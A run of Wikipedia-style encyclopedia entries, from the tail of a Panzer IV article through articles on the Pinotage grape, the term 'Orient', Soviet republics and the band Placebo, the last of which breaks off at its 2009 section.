Hungarian Turán III
Italian Carro Armato P 40
Japanese Type 2 Ho-I (up to Ausf. D variant)
Japanese Type 1 Chi-He (up to Ausf. E variant)
Japanese Type 3 Chi-Nu
Romanian 1942 medium tank (proposal)
Soviet T-34
Soviet T-43
Soviet KV-13
Swedish Stridsvagn m/42
United States M3 Lee (up to Ausf. F1 variant)
United States M4 Sherman
United States M7 Medium (up to Ausf. D variant)
References
Footnotes
Bibliography
Guderian, Heinz Panzer Leader New York Da Capo Press Reissue edition, 2001.
Liddell Hart, B.H. The German Generals Talk. New York, NY: Morrow, 1948.
External links
The Restoration of a panzer IV in running condition to the Tank Museum of Samur
Medium tanks of Germany
Medium tanks of the Cold War
Military vehicles introduced in the 1930s
World War II medium tanks
World War II tanks of Germany
History of the tank | [
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241260 | https://en.wikipedia.org/wiki/Pinotage | Pinotage | Pinotage is a red wine grape that is South Africa's signature variety. It was cultivated there in 1925 as a cross between Pinot noir and Cinsaut (Cinsaut was known as "Hermitage" in South Africa at that time, hence the name). It typically produces deep red varietal wines with smoky, bramble and earthy flavours, sometimes with notes of bananas and tropical fruit, but has been criticised for sometimes smelling of acetone. The grape is a viticultural intraspecific cross of two varieties of Vitis vinifera, not an interspecific hybrid.
History
Pinotage is a grape variety that was created in South Africa in 1924 by Abraham Izak Perold, the first Professor of Viticulture at Stellenbosch University. Perold was attempting to combine the best qualities of the robust Hermitage with Pinot noir, a grape that makes great wine but can be difficult to grow. Perold planted the four seeds from his cross in the garden of his official residence at Welgevallen Experimental Farm and then apparently forgot about them. In 1928 he left the university to take up a job with KWV co-operative and the garden became overgrown. The university sent in a team to tidy it up, just as Charlie Niehaus happened to pass by. He was a young lecturer who knew about the seedlings, and rescued them from the clean-up team.
The young plants were moved to Elsenburg Agricultural College under Perold's successor, CJ Theron. In 1935 Theron grafted them onto newly established Richter 99 and Richter 57 rootstock at Welgevallen. Meanwhile, Perold continued to visit his former colleagues. Theron showed him the newly grafted vines, and the one that was doing best was selected for propagation and was christened Pinotage. The first wine was made in 1941 at Elsenburg, with the first commercial plantings at Myrtle Grove near Sir Lowry's Pass. Also in 1941 Pinotage vines were planted at the Kanonkop Estate by Paul Sauer and Danie Rossouw, the wines of which have later risen to great fame and can mature up to 25 years, so that this estate has even been called "a formidable leader of Cape’s red wine pack."
The first recognition came when a Bellevue wine made from Pinotage became the champion wine (General Smuts Trophy Winner) at the Cape Wine Show of 1959, a feat repeated by Sauer & Rossouw in 1961 with their Pinotage from Kanonkop Wine Estate. The Bellevue wine would become the first to mention Pinotage on its label in 1961, when Stellenbosch Farmer's Winery (SFW) marketed it under their Lanzerac brand. This early success, and its easy viticulture, prompted a wave of planting during the 1960s.
Criticism
Despite the reputation for easy cultivation, the Pinotage grape has not escaped criticism. A common complaint is the tendency to develop isoamyl acetate during winemaking which leads to a sweet pungency that often smells like paint. A group of British Masters of Wine visiting in 1976 were unimpressed by Pinotage, calling the nose "hot and horrible" and comparing the taste to "rusty nails". Throughout its history, the grape has seen its plantings rise and fall due to the current fashion of the South African wine industry. In the early 1990s, after the end of Apartheid, the world's wine market was opening to South Africa wine and winemakers ignored Pinotage in favour of more internationally recognised varieties like Syrah and Cabernet Sauvignon. Towards the end of the 20th century, the grape's fortunes began to turn, and by 1997 it commanded higher prices than any other South African grape.
Oz Clarke has suggested that part of some South African winemakers' disdain for Pinotage stems from the fact that it's a distinctly New World wine while the trend for South African wine is to reflect more European influences and flavours. Despite being a cross from a Burgundy and Rhône grape, Pinotage reflects none of the flavours of a French wine. While not a critique itself, outside of small plantings most notably in New Zealand and the United States, Pinotage has yet to develop a significant presence in any other wine region.
Pinotage Renaissance
Pinotage remained relatively obscure internationally until Beyers Truter from Kanonkop won the 1987 Diner's Club Wine of the year for his Pinotage. Pinotage has since experienced a renaissance in South Africa, with an increasing number of producers exploring a bright and juicy expression of the variety that shows off the fruit rather than oak, and showing real finesse with less ripe extraction.
From 2007 to 2017, the quality, demand, and supply of Pinotage grew significantly. From around 3 million litres of Pinotage a year at the turn of the century, domestic sales have increased to over 5 million litres, and exports since 2001 have gone from just over 8 million litres a year to close on 19 million litres – contributing an estimated R495 million to the local economy in 2017.
In two decades, winemakers and marketers embraced this grape cultivar which lead to the expansion of the market for Pinotage globally. Competitions like the Absa Top 10 Pinotage Awards, which started in 1997, and initiatives by organisations like the Pinotage Association have assisted in establishing this uniquely South African wine. Accolades like the 2017 Tim Atkin's South African Red Wine of the Year (awarded to Beeslaar Pinotage) confirms the trend of quality Pinotage wines. Pinotage weighed heavily in favour of Kanonkop cellarmaster Abrie Beeslaar being named the 2017 Winemaker of the Year at the prestigious International Wine and Spirit Competition in London, making him the second Kanonkop winemaker to achieve the honour after Beyers Truter in 1991.
Of the 10 most-planted wine grape varieties in South Africa, Pinotage is the only red cultivar to have grown in hectares from 2007 to 2017. In 2017, the SA Wine Industry Information & Systems (SAWIS) industry body indicated that the total area under Pinotage vines was 6 979 ha, up from 6.5% to 7.4% of the total area under vines.
Admittedly, even more than 40 years after completely dismissing the grape, many in the United Kingdom's wine trade (one of South Africa's main export markets) still malign the grape as a whole, but slowly perceptions are changing especially with younger members of the trade becoming strong defenders of the grape.
Wine regions
In addition to South Africa, Pinotage is also grown in Brazil, Canada, Israel, New Zealand, United States and Zimbabwe. In New Zealand, there are of Pinotage. In the US, there are plantings in Arizona, California, Michigan, Oregon and Virginia. German winemakers have recently begun experimenting with the grape.
South Africa
The majority of the world's plantings of Pinotage is found in South Africa, where it makes up just 6% of the vineyard area but is considered a symbol of the country's distinctive winemaking traditions. It is a required component (30-70%) in "Cape blends". Here it is made into the full range of styles, from easy-drinking quaffing wine and rosé to barrel-aged wine intended for cellaring. It is also made into a fortified 'Port wine' style, and even a red sparkling wine. A white Pinotage wine is now being produced by a small number of winemakers in South Africa, an example being from Oude Compagnies Post in the Tulbagh valley. The latest and fastest growing trend is the production of coffee styled Pinotage. The grape is very dependent on the skill and style of winemaking, with well made examples having the potential to produce deep colored, fruity wines that can be accessible early as well as age.
Pinotage is produced in other countries than its native South Africa. Pinotage has also been planted in New Zealand and Zimbabwe, with other wine growing nations such as Switzerland, Germany, the US, Israel and Brazil.
Viticulture and winemaking
The vines are vigorous like their parent Cinsaut and easy to grow, ripening early with high sugar levels. Pinotage can be grown via the trellised system or as bushvines (untrellised). The older Pinotage vineyards are predominantly planted as bushvines and it is perceived that these lend to more concentration of fruit and depth to the wine. It has the potential to produce yields of 120 hl/ha (6.8 tons/acre) but older vines tend to lower their yields to as low as 50 hl/ha. Yield restriction is managed through water stress and bunch thinning. In winemaking, controlling the coarseness of the grape and the isoamyl acetate character are two important considerations. Volatile acidity is another potential wine fault that can cause Pinotage to taste like raspberry vinegar. Since the 1990s, more winemakers have used long and cool fermentation periods to minimise the volatile esters as well as exposure to French and American oak.
The grape is naturally high in tannins which can be tamed with limited maceration time but reducing the skin contact can also reduce some of the mulberry, blackberry and damson fruit character that Pinotage can produce. Some winemakers have experimented with letting the grapes get very ripe prior to harvest followed by limited oak exposures as another means of taming the more negative characteristics of the grape while maintaining its fruitiness. Newer clones have shown some potential as well.
In recent years South African winemakers have experimented with producing Pinotage in a lighter style, picking grapes earlier for lower sugar and using whole bunches in fermentation to increase the acidity, a style more similar to the parent grape Pinot Noir.
Synonyms
Perold's Hermitage x Pinot. The alternative name 'Herminoir' was considered.
References
External links
The Pinotage Association
Red wine grape varieties
South African wine | [
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241261 | https://en.wikipedia.org/wiki/Orient | Orient | The Orient is a term for the East, traditionally comprising anything that belongs to the Eastern world, in relation to Europe. It is the antonym of Occident, the Western World. In English, it is largely a metonym for, and coterminous with, the continent of Asia, loosely classified into the Near East, Middle East and Far East: the geographical and ethno-cultural regions now known as West Asia, South Asia, East Asia, and Southeast Asia. Originally, the term Orient was used to designate the Near East, and later its meaning evolved and expanded, designating also the Middle East or the Far East.
The term oriental is often used to describe objects from the Orient, however it can be considered an outdated term by some when used to refer to people of East Asian and South East Asian descent.
It can also refer to the inhabitants of the Oriental Republic of Uruguay, the term oriental refers to the geographic location of the country, east of the Uruguay River.
Etymology
The term "Orient" derives from the Latin word oriens meaning "east" (lit. "rising" < orior " rise"). The use of the word for "rising" to refer to the east (where the sun rises) has analogs from many languages: compare the terms "Arevelk" in (Armenian Arevelk means "East" or "Sunrise"), "Levant" (< French levant "rising"), "Vostok" (< Russian voskhod "sunrise"), "Anatolia" (< Greek anatole), "mizrahi" in Hebrew ("zriha" meaning sunrise), "sharq" (< Arabic "rise", "rising"), "shygys" (< Kazakh shygu "come out"), (< Turkish doğmak to be born; to rise), "xavar" (meaning east), (, a pictograph of the sun rising behind a tree) and "The Land of the Rising Sun" to refer to Japan. Also, many ancient temples, including pagan temples and the Jewish Temple in Jerusalem, were built with their main entrances facing the East. This tradition was carried on in Christian churches. To situate them in such a manner was to "orient" them in the proper direction. When something was facing the correct direction, it was said to be in the proper orientation.
The opposite term "Occident" derives from the Latin word occidens, meaning west (lit. setting < occido fall/set). This term meant the west (where the sun sets) but has fallen into disuse in English, in favor of "Western world".
History of the term
Territorialization of the Roman term Orient occurred during the reign of emperor Diocletian (284–305), when the Diocese of the Orient (Latin: Dioecesis Orientis) was formed. Later in the 4th century, the Praetorian prefecture of the Orient (Latin: Praefectura Praetorio Orientis) was also formed, including most of the Eastern Roman Empire, from the Thrace eastwards; its easternmost part was the original Diocese of the Orient, corresponding roughly to the region of Syria.
Over time, the common understanding of "the Orient" has continually shifted eastwards, as European people traveled farther into Asia. It finally reached the Pacific Ocean, in what Westerners came to call "the Far East". These shifts in time and identification sometimes confuse the scope (historical and geographic) of Oriental Studies. Yet there remain contexts where "the Orient" and "Oriental" have kept their older meanings (e.g., "Oriental spices" typically are from the regions extending from the Middle East to sub-continental India to Indo-China). Travelers may again take the Orient Express train from Paris to its terminus in the European part of Istanbul, a route established in the early 20th century.
In European historiography, the meaning of "the Orient" changed in scope several times. Originally, the term referred to Egypt, the Levant, and adjoining areas. as far west as Morocco. During the 1800s, India, and to a lesser extent China, began to displace the Levant as the primary subject of Orientalist research, while the term also appears in mid-century works to describe an appearance or perceived similarity to "Oriental" government or culture, such as in Tolstoy's 1869 novel War and Peace, in which Napoleon, upon seeing the "oriental beauty" of Moscow, calls it "That Asiatic city of the innumerable churches, holy Moscow!", while in 1843 the American historian William Prescott uses the phrase "barbaric pomp, truly Oriental" to describe the court life of Aztec nobility in his history of the conquest of Mexico. As late as 1957 Karl Wittfogel included Rome and the Incan Empire in his study of what he called Oriental Despotism, demonstrating the term still carries a meaning in Western thought that transcends geography. By the mid-20th century, Western scholars generally considered "the Orient" as just East Asia, Southeast Asia, and eastern Central Asia. As recently as the early 20th century, the term "Orient" often continued to be used in ways that included North Africa. Today, the term primarily evokes images of China, Korea, Japan, Vietnam, Mongolia, and peninsular Southeast Asia. "The Orient" being largely a cultural term, large parts of Asia—Siberia most notably—were excluded from the scholarly notion of "the Orient".
Equally valid terms for the Orient still exist in the English language in such collocations as Oriental studies (now Asian Studies in some countries).
The adjectival term Oriental has been used by the West to mean cultures, peoples, countries, Asian rugs, and goods from the Orient. "Oriental" means generally "eastern". It is a traditional designation (especially when capitalized) for anything belonging to the Orient or "East" (for Asia), and especially of its Eastern culture. It indicated the eastern direction in historical astronomy, often abbreviated "Ori". In contemporary American English, Oriental usually refers to things from the parts of East Asia traditionally occupied by East Asians and most Central Asians and Southeast Asians racially categorized as "Mongoloid". This excludes Jews, Indians, Arabs, and most other South or West Asian peoples. Because of historical discrimination against Chinese, Korean and Japanese, in some parts of the United States, some people consider the term derogatory. For example, Washington state prohibits the word "Oriental" in legislation and government documents, preferring the word "Asian" instead.
In more local uses, "oriental" is also used for eastern parts of countries, for example Morocco's Oriental Region. Oriental may also be used as an synonym of "eastern", especially in Romance languages. Examples include the "oriental" and "occidental" provinces of Mindoro and Negros in the Philippines, and the French département of Pyrénées-Orientales.
Since the 19th century, "orientalist" has been the traditional term for a scholar of Oriental studies; however, the use in English of "Orientalism" to describe academic "Oriental studies" is rare: the Oxford English Dictionary cites only one such usage, by Lord Byron in 1812. Orientalism is more widely used to refer to the works of the many 19th-century artists who specialized in "Oriental" subjects, often drawing on their travels to North Africa and Western Asia. Artists as well as scholars were already described as "Orientalists" in the 19th century. In 1978, Palestinian-American scholar Edward Said published his influential and controversial book, Orientalism; he used the term to describe a pervasive Western tradition, both academic and artistic, of prejudiced outsider interpretations of the Arab and Muslim worlds, shaped by the attitudes of European imperialism in the 18th and 19th centuries.
Current usage
British English
In British English, the term Oriental is sometimes still used to refer to people from East and Southeast Asia (such as those from China, Japan, Korea, Indonesia, Malaysia, the Philippines, Myanmar, Singapore, Thailand, Vietnam, Cambodia, Mongolia and Laos).
"Asian" in Great Britain sometimes refers to people who come from South Asia (in particular Pakistan, India, Bangladesh, Sri Lanka and Maldives), since British Asians make up approximately 6.9% of the population within the United Kingdom. "Orientals" refers exclusively to people of East and Southeast Asian origin, who comprise 0.7% of the UK population as a whole, and 5.3% of the non-European population. Of these, the majority are of Chinese descent.
Orient is also a word for the lustre of a fine pearl. Hong Kong, a former British colony, has been called "Pearl of the Orient" along with Shanghai.
American English
The term Oriental may sound dated or even taken as pejorative by some, particularly when used as a noun. John Kuo Wei Tchen, director of the Asian/Pacific/American Studies Program and Institute at New York University, said the basic criticism of the term began in the U.S. during a cultural shift in the 1970s. He has said: "With the U.S.A. anti-war movement in the '60s and early '70s, many Asian Americans identified the term 'Oriental' with a Western process of racializing Asians as forever opposite 'others'", by making a distinction between "Western" and "Eastern" ancestral origins.
This is particularly relevant when referring to lands and peoples not associated with the historic "Orient": outside of the former Byzantine (Eastern Roman) Empire and Sasanian Empire (Persia), including the former Diocese of the Orient, as well as others lands sharing cultural legacies with the Oriental Orthodox churches and Oriental Catholic Churches. In contrast, regions of Asia further East, outside of the cultural domination of Abrahamic religions, do not share these same historical associations, giving way for the term "oriental" to have different connotations.
In 2016, President Obama signed New York Congresswoman Grace Meng's legislation H.R. 4238 replacing the word with Asian American in federal law.
Australian English
In Australian English, the term Asian generally refers to people of East Asian or Southeast Asian descent, such as those of Chinese, Korean, Japanese, Vietnamese, Thai, or Filipino background. Persons of Pakistani, Sri Lankan, and most other South Asian descent are referred to by their respective demonym, but without explicit knowledge, those people are indeterminately inferred as "Indian".
China
The Chinese word 东方 is translated as "oriental" in the official English names of several entities, e.g. Oriental Art Center, Oriental Movie Metropolis. In other cases, the same word is more literally translated as "eastern", e.g. China Eastern Airlines.
Uruguay
The official name of Uruguay is Oriental Republic of Uruguay, the adjective Oriental refers to the geographic location of the country, east of the Uruguay River.
The term Oriental is also used as Uruguay's demonym, usually with a formal or solemn connotation. The word also has a deep historical meaning as a result of its prolonged use in the region, since the 18th century it was used in reference to the inhabitants of the Banda Oriental, the historical name of the territories that now comprise the modern nation of Uruguay.
German
In German, Orient is usually used synonymously with the area between the Near East and East Asia, including Israel, the Arab world, and Greater Persia.
The term Asiaten (English: Asians) means Asian people in general. Another word for Orient in German is Morgenland (now mainly poetic), which literally translates as "morning land". The antonym "Abendland" (rarely: "Okzident") is also mainly poetic, and refers to (Western) Europe.
See also
Levant
Land of the Morning Calm
Land of the Rising Sun
Orient Express
Orientalism
Orientalizing Period of Archaic Greek art
Political correctness
School of Oriental and African Studies (SOAS), University of London
Western world (the Occident; the opposite of Orient)
Asia-Pacific
Notes
Further reading
[Ankerl, Guy] Coexisting Contemporary Civilizations: Arabo-Muslim, Bharati, Chinese, and Western (INUPRESS), Geneva, 2000.
External links
The American Oriental Society
The Oriental Institute at University of Chicago
On Asian and Oriental Model Minority posting by Alan Hu.
The Critic in the Orient by George Hamlin Fitch
German Orient Gate
What's the Matter with Saying the Orient? by Christopher Hill for "About Japan: A Teacher's Resource"
Geography terminology
Ethnic and religious slurs
Asia-Pacific
Orientalism
Historical regions
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241262 | https://en.wikipedia.org/wiki/Soviet%20Republic | Soviet Republic | A Soviet republic, a republic ruled by soviets (workers' councils), may refer to one of the following:
Bolshevik Russia and the Russian SFSR after the Russian Revolution of 1917 and during the Russian Civil War;
The Soviet Union as a whole;
Any of the Republics of the Soviet Union;
Any of several short-lived communist revolutionary governments that were established after the Russian Revolution under its influence:
Arbeiter- und Soldatenräte (Workers' and Soldiers' Councils) during the German Revolution of November 1918, including Bremen (January–February 1919), Braunschweig, Würzburg, Bavaria (April–May 1919) and Alsace (8–22 November 1918).
Bukharan People's Soviet Republic, its name later changed to the Bukharan Soviet Socialist Republic (October 1920–February 1925).
Chinese Soviet Republic, also known as the "Jiangxi Soviet" (November 1931–September 1937) led by the Communist Party of China.
Commune of the Working People of Estonia (November 1918–February 1919).
Finnish Socialist Workers' Republic (January–April 1918) in the south of Finland only.
Galician Soviet Socialist Republic (15 July–21 September 1920) in Soviet-occupied territory during the Polish–Soviet War.
Hunan Soviet (ca. 1927) led by the Communist Party of China.
Hungarian Soviet Republic (March–August 1919) led by the Hungarian Communist Party.
Limerick Soviet (15–27 April 1919) during a general strike against British military rule.
Other Irish Soviets (1919-1922) mainly in the province of Munster.
Lithuanian–Belorussian Soviet Socialist Republic (February–August 1919).
Persian Socialist Soviet Republic also known as the Soviet Republic of Gilan (June 1920–September 1921).
Republic of Užice (Autumn 1941), a Partisan-governed military state during World War II.
Slovak Soviet Republic (16 June–7 July 1919) directly supported by the Hungarian Soviet Republic.
Soviet Republic of Naissaar (December 1917–February 1918) on an Estonian island in the Baltic Sea.
Lithuanian Soviet Socialist Republic (December 1918–February 1919).
Latvian Socialist Soviet Republic (December 1918–January 1920).
Ukrainian People's Republic of Soviets (December 1917-March 1918).
Ukrainian Soviet Republic (March–April 1918).
Socialist Soviet Republic of Byelorussia (January–February 1919).
The system of government implemented in the Soviet Union and other soviet republics.
See also
Communist state
People's republic
Socialist state
Soviet democracy
01
01
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241263 | https://en.wikipedia.org/wiki/Placebo%20%28band%29 | Placebo (band) | Placebo are an English rock band, formed in London in 1994 by vocalist–guitarist Brian Molko and bassist–guitarist Stefan Olsdal. Drummer Robert Schultzberg joined in late 1994, but left in 1996 shortly after the release of the band's eponymous debut album due to conflicts with Molko, and was replaced the same year by Steve Hewitt.
Following the release of a demo, a split single, and their eponymous debut album, Placebo gained exposure in 1997 after the single "Nancy Boy" became popular in the UK, a song notorious at the time for its gender-bending content. The band stood out amongst the Britpop scene they were associated with at the time for their androgynous appearance and musical content, and lyrics which openly discussed sexuality, mental health, and drug use.
Hewitt left Placebo in 2007, due to personal and musical differences. He was replaced the following year by Steve Forrest. Placebo released two albums with Forrest, who left in 2015 to pursue his own musical career. Since 2015, Placebo perform as a duo with four additional live musicians on stage.
Placebo have collaborated with various artists over the years, including David Bowie, Justin Warfield, Michael Stipe and Alison Mosshart. To date, Placebo have released seven studio albums, all of which have reached the Top 20 in the United Kingdom, and have sold around 11 million records worldwide.
History
Formation (1994–1995)
Placebo founders Brian Molko and Stefan Olsdal had both attended the American International School of Luxembourg, without speaking to each other, as they were part of different social circles. The two met by chance in 1994, in London, England. At the time, Olsdal was taking guitar lessons and was on his way home when he met Molko at the South Kensington tube station. Molko, observing that Olsdal had a guitar strapped to his back, invited Olsdal to watch him perform at a local gig. On the strength of Molko's performance, Olsdal decided that they should start a band. The two formed as Ashtray Heart, named after the Captain Beefheart song of the same name. Molko, however, denied in 2009 that Ashtray Heart was the first name of the band, dismissing this as a rumour and claiming that the band had more names initially.
Originally, the two were unable to decide on a drummer. They played for a while with Steve Hewitt, a friend of Molko, but Hewitt had prior commitments to local band Breed. Robert Schultzberg assumed the position of drummer in late 1994.
The band eventually chose the name Placebo, due to its meaning in Latin, "I shall please". Molko has frequently stated in interviews that the name is a rejoinder to the 1990s cliché of naming one's band after a drug. In an interview, Molko stated:
It's a complex question to answer, really. As musicians you try to find a name for your band that represents you and you never really do, because, basically, names for bands lose their meaning after a while. They become a series of sounds that you associate with people in music. The most important thing for a name is that you can imagine forty-thousand people screaming it in unison.
Debut album, line-up change and glam connection (1996–1998)
In October 1995 the band released "Bruise Pristine", a split single with the band Soup, on Fierce Panda. Molko would later speak in negative terms about this release.
By 1996 Placebo were signed with Caroline Records. Their debut album, the self-titled Placebo, was released on 17 July 1996. The album was produced by Brad Wood and was influenced, according to Molko, by Sonic Youth and Depeche Mode. The release peaked at No. 5 on the UK Albums Chart at the height of the Britpop era; their highest-charting album in the country to date. When reviewing a concert, the New York Times compared them to bands of the "first wave of post-punk rock, particularly New Order, the Cure, Siouxsie and the Banshees, early U2 and Talking Heads".
Tension with Schultzberg and the rest of the group had begun to rise in the previous year. The band initially fired him in September 1995, but he was rehired to record the first seven-inch single "Bruise Pristine". After an argument in August 1996, Molko decided that it would be best for the band if Schultzberg left. The band came to an agreement that Schultzberg would leave once they had finished the promotion of Placebo.
Eventually, Schultzberg did indeed leave the band in September 1996, on a United States tour. Before going on stage for their first show in the state of New York, Olsdal informed Schultzberg that he wasn't going on the tour in Germany that was following the US one. At the manager's request, Schultzberg did two more shows with the band in Paris after the US tour, the last of which was a performance on the French TV show Nulle part ailleurs. According to Schultzberg "Molko said that he was 'tired of being the focus of Robert's rages against the world', and quite frankly, I was tired of being his". While Schultzberg was with the band, several early works were recorded, including their first 7" single "Bruise Pristine", the "Come Home" EP, the single version of "Nancy Boy" (with B-sides "Slackerbitch", "Miss Moneypenny" and the Smiths cover "Bigmouth Strikes Again") and their eponymous debut album. On the track "I Know", Schultzberg played didgeridoo as well as drums.
Steve Hewitt, who had played with the band in 1994, joined Placebo as a full-time member at Molko's request.
The most successful song on the debut album was "Nancy Boy", which peaked at number 4 in the UK Singles Chart upon its release in 1997. The song had been written in 1994, being partially inspired by an infamous quote of Suede's Brett Anderson: "I'm a bisexual man who's never had a homosexual experience." Its lyrics were full of sexual allusions, and Molko admitted at the time: "It's not absurd. It's obscene. A song this rude should not be number four in the charts." Molko would go on to describe his relationship with the song in a 2016 interview as "very ambivalent", adding that, although he appreciates the fact that the song had been instrumental in their development as a band, he considers it immature.
The song attracted the attention of David Bowie, who invited the band to open several of his concerts in early 1996. In the following January, Bowie invited them to play at his 50th birthday celebrations at New York's Madison Square Garden. The party also included Billy Corgan of The Smashing Pumpkins, Robert Smith of The Cure and Lou Reed.
The band's glam rock connections continued. In 1998, Placebo recorded a cover of T. Rex's "20th Century Boy" for the Velvet Goldmine soundtrack and the band appeared in minor roles in the film. Bowie made a special appearance on-stage with Placebo during a tour stop in New York as part of the band's late February tour with Stabbing Westward. Placebo played "20th Century Boy" live with David Bowie at the BRIT Awards show in 1999.
Placebo were heavily criticised by the media due to their unorthodox attitude and Brian Molko's androgynous appearance. In a 2016 interview related to their early years, Molko commented:
We were reacting very strongly against the machismo, terrace chants and revisionism of Britpop, and the nationalism that we interpreted as xenophobia of the musical kind. We were trying to make a strong political statement about the fluidity of sexuality with the dresses and make-up that we wore. We set out to confuse, and I guess Nancy Boy was the perfect soundtrack to that.
Without You I'm Nothing and Black Market Music (1998–2002)
In 1998, Placebo switched to the major label Virgin Records, and issued their follow-up album Without You I'm Nothing on 12 October. The band had a dysfunctional relationship with producer Steve Osborne during the recording of the album, and ended up not speaking to him at all by the time the sessions were over.
The album was another large seller in the UK; the US market embraced the album's lead single "Pure Morning", which appeared on MTV and reached number 20 on the Billboard Heatseekers chart, but subsequent singles and videos failed to match the success of its predecessor. "Pure Morning" enjoyed the same success as "Nancy Boy" in the UK, reaching number 4 in the British chart. The video of the song was nominated for the Best British Video award during the 1999 edition of Brit Awards, but lost to Robbie Williams' "Millennium". Molko would subsequently deem the lyrics of "Pure Morning" as unsatisfying, and would refuse to perform the song live for nine years.
The band kept enjoying success in the UK, as the second single, "You Don't Care About Us" reached number 5 in the British chart. The third single released was "Every You Every Me", a number eleven hit. The song appeared on the soundtrack for the film Cruel Intentions, which was inspired by the novel Les Liaisons dangereuses by Pierre Choderlos de Laclos.
The last single on the album, "Without You I'm Nothing" was re-recorded and released as a duet with David Bowie, at Bowie's request. Molko would describe this moment in 2016 as an honour, adding that he realised its importance much later in his career.
The band's third album, Black Market Music, released in October 2000, and produced by Paul Corkett, further experimented with genres outside of regular rock sound. Placebo collaborated with Justin Warfield on "Spite & Malice" and sampled Pavement's "Texas Never Whispers" on "Slave to the Wage". A re-sequenced version released in the US featured a slightly different track listing, adding the aforementioned Bowie version of "Without You I'm Nothing" and the band's cover of Depeche Mode's "I Feel You".
The album created additional UK top 20 hits in "Taste in Men" and "Slave to the Wage", which reached number 16 and 19 in the UK Singles Chart, respectively.
In a 2001 interview, Molko declared:
I think it's the album we always wanted to make. I think without exaggerating even the tiniest bit, we love it and we've never been so happy with an album. Our debut was fast and rough, punk pop, Without You I'm Nothing showed our melancholy, depressed side and Black Market shows a perfect combination of both sides.
The singer would later become more reserved towards Black Market Music, describing it in 2016 as "real somber", and expressing the regret of not having been involved enough during the production phase.
Placebo encountered resistance from the British music industry upon release of the single "Special K" due to its reference of a ketamine high as a simile for love. Due to this metaphor, the song was censored in the UK. In spite of the controversy, Black Market Music reached number 1 in France and number 6 in the UK.
Sleeping with Ghosts and Once More with Feeling (2003–2005)
Placebo released their fourth album, produced by Jim Abbiss and named Sleeping with Ghosts, on 24 March 2003. The sound of the album was described in a Billboard review as being infused with "edgy electronic flourishes".
Molko explained the title of an album in an interview:
It is romantic without being sentimental. It's an album full of colour. It's also the first time when we recorded an album during the summer, after a long break. Before, we were in a sort of rock'n'roll bubble, we were alternating the studio sessions and the live concerts, we were pretty much cut off from the real world. It's dangerous to live too much in this kind of bubble. We had the chance to distance ourselves a bit from everything that happened since 1996 up until now. I also had the occasion to reflect to the montagne russe that is my personal life after these seven years. The ghosts I'm talking about are the people, the events you're wearing into your soul consciously or not.
The album went to No. 11 in the UK and sold 1.4 million copies worldwide. Australian tour dates with Elbow and UK shows with Har Mar Superstar followed in 2004.
First single "The Bitter End" peaked at number 12 in the British single chart. Protège-Moi, the French version of the song "Protect Me From What I Want", was released as a single in France where it reached number 18.
At the end of 2003, the band released Sleeping with Ghosts Special Edition, which was a double-disc release, containing the Sleeping with Ghosts album and a bonus disc with ten covers. The bonus disc was re-released in 2010 as a stand-alone under the name Covers.
On 15 March 2004, the band released their first live DVD, Soulmates Never Die (Live in Paris 2003), from footage recorded in October 2003 and also including a 25-minute documentary.
On 25 October 2004, Placebo released a singles collection, Once More with Feeling: Singles 1996–2004, on both CD and as a DVD featuring the band's videos. The nineteen-song compilation included two new tracks, "I Do" and the single "Twenty Years", which reached number 18 in UK. The compilation was meant to allow the listener to observe Placebo's change of lyrics, music and attitude; Molko was highly critical of his early years, comparing in a 2005 interview the first singles with "bad teenage poetry you made at college".
On 5 November 2004, Placebo played a one-night-only gig at Wembley Arena, in which Robert Smith of The Cure made a guest appearance on two tracks, "Without You I'm Nothing" and a cover of The Cure's "Boys Don't Cry". This performance was to be their last UK gig until 2006. After the Wembley gig, Placebo went on a short Once More with Feeling tour in South America. On 2 July 2005 the group performed "Twenty Years" and "The Bitter End" at the Live 8 concert, at the Palais de Versailles in France.
Meds and Hewitt's departure (2006–2009)
In September 2005 Placebo finished the recording phase of their fifth studio album, Meds, which was produced by Dimitri Tikovoi and released on 13 March 2006. The album was also released in a limited edition, containing a documentary, the lyrics, live videos, three demo versions and the song "Long Division". The version released in the US had two bonus tracks, "Running Up That Hill" and "UNEEDMEMORETHANINEEDU", but did not include "In the Cold Light of Morning" at Molko's demand, who refused to have the song censored. The lead single in the UK market was "Because I Want You", whereas in the rest of the world the first single was "Song to Say Goodbye" . Two tracks are duets with US singers: "Meds" with Alison Mosshart of The Kills and "Broken Promise" with R.E.M.'s Michael Stipe.
Meds was leaked to the internet on 17 January 2006, two months before the official release date. The leak was projected to cause a serious loss of profit by the band's record label Virgin Records. Nevertheless, in most countries the album charted well, at No. 1 in France, No. 4 in Australia and No. 7 in the UK.
In 2006 Placebo switched labels in the US to Astralwerks and re-released several revisions of their earlier works. In October their debut album Placebo was digitally remastered and re-released on 25 September 2006 with the subtitle 10th Anniversary Collectors Edition; the box set also included a DVD containing music videos, concerts and TV performances.
In 2007 Placebo joined Linkin Park, My Chemical Romance, Taking Back Sunday and various other acts for the annual Projekt: Revolution tour. Following the tour, Virgin released the Extended Play '07 EP as a simple introduction for new fans to the band's past decade of music. The compilation featured eight songs: "Nancy Boy", "Every You Every Me", "Taste in Men", "The Bitter End", "Meds", "Pure Morning", "Infra-Red" and "Running Up that Hill".
The relationship between Steve Hewitt and the rest of the band had become tense during the recording of Meds and eventually, in October 2007, the band announced that Hewitt was no longer in Placebo. Molko commented that "Being in a band is very much like being in a marriage, and in couples—in this case a triple—people can grow apart over the years. To say that you don't love your partner anymore is inaccurate, considering all that you've been through and achieved together. There simply comes a point when you realise that you want different things from your relationship and that you can no longer live under the same roof, so to speak". Olsdal commented "We couldn't go on with Steve Hewitt. We didn't have the same goals, nor the same vision anymore. We had to separate. It all went wrong during the Meds tour. [...] There was no communication between us. Brian and I are one, but at some point we even didn't talk to each other anymore. We realised Placebo was dying. To be able to go on, things had to change." According to Hewitt, "Alex Weston, our manager, [...] called me in to the office and said I was not in the band anymore. And that's it. I was thrown out". Hewitt claims that it was "very hurtful" and "disappointing" to have been ejected in this way after being in the band for over a decade. Early in 2008 Hewitt founded the band Love Amongst Ruin, switching to guitar and singing lead vocals. In August 2012 he became the drummer of the reformed Six by Seven.
In August 2008, the band announced their new drummer, Steve Forrest of the band Evaline.
Placebo gave one live performance in 2008, as part of an MTV EXIT event, a campaign against human trafficking held in Angkor Wat in December. Placebo left EMI in 2008, but the label released a ten-disc box set of the complete Placebo recordings on 8 June 2009, including all the studio albums and DVDs as well as a collection of B-sides.
Battle for the Sun (2009–2011)
